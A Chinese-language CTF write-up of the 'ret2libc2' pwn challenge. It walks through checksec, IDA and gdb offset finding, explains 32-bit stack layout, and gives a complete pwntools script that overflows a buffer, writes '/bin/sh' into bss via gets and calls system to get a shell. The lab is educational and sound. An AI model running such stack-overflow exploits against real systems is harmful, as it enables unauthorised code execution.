照常，我们check一下，emmm它又开NX了
image.png
所以这题估计是让我们补或者写shell的了，然后我们去ida里看一下，然后发现它有system
image.png
然后呢就找字符串“/bin/sh”了
image.png
但是我们发现，并没有这个字符，所以题目就是让我们写一个”/bin/sh”进去，但是不能直接把它写入栈里面，要将它写入bss再作为参数被调用
image.png
然后我们又在bss段看见了buf2，所以我们要把”/bin/sh”写到buf2里，需要用到gets函数
Main里有gets函数，去找它的地址
image.png
image.png
然后我们要写payload还是要找偏移量的（由于不是特别会看ida里的偏移，那就直接用gdb爆吧）
image.png
爆出来发现是112
然后我们可以写payload了，这个时候我就疑惑了，为啥payload = “a”*112+p32(gets)+p32(sytem)+p32(buf2)不行呢？
后来发现了栈的原理貌似是这样的：
image.png
第三个开始存函数的参数，第二个是函数 结束之后的返回地址（指向下一个执行地址）
以题为例子
image.png
还有另一种payload的写法就是堆栈平衡，就是在调用完gets之后要把调用的参数给pop出来，提升栈堆(保持esp和ebp的值不变)再对system进行调用，system调用的时候会有一个返回值，直接拿垃圾字符搪塞一下就好（这道题的堆栈平衡其实没有很明显的必要，但是有一些连续调用多个函数的时候就需要用到这个平衡了）
然后上我们的脚本
from pwn import *
sh = process('./ret2libc2')
system = 0x8048490
gets = 0x8048460
buf2 = 0x804A080
pop = 0x0804843d
#payload = flat(["a"*112,gets,pop,buf2,system,"aaaa",buf2])
payload = flat(["a"*112,gets,system,buf2,buf2])
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
然后就over啦
image.png
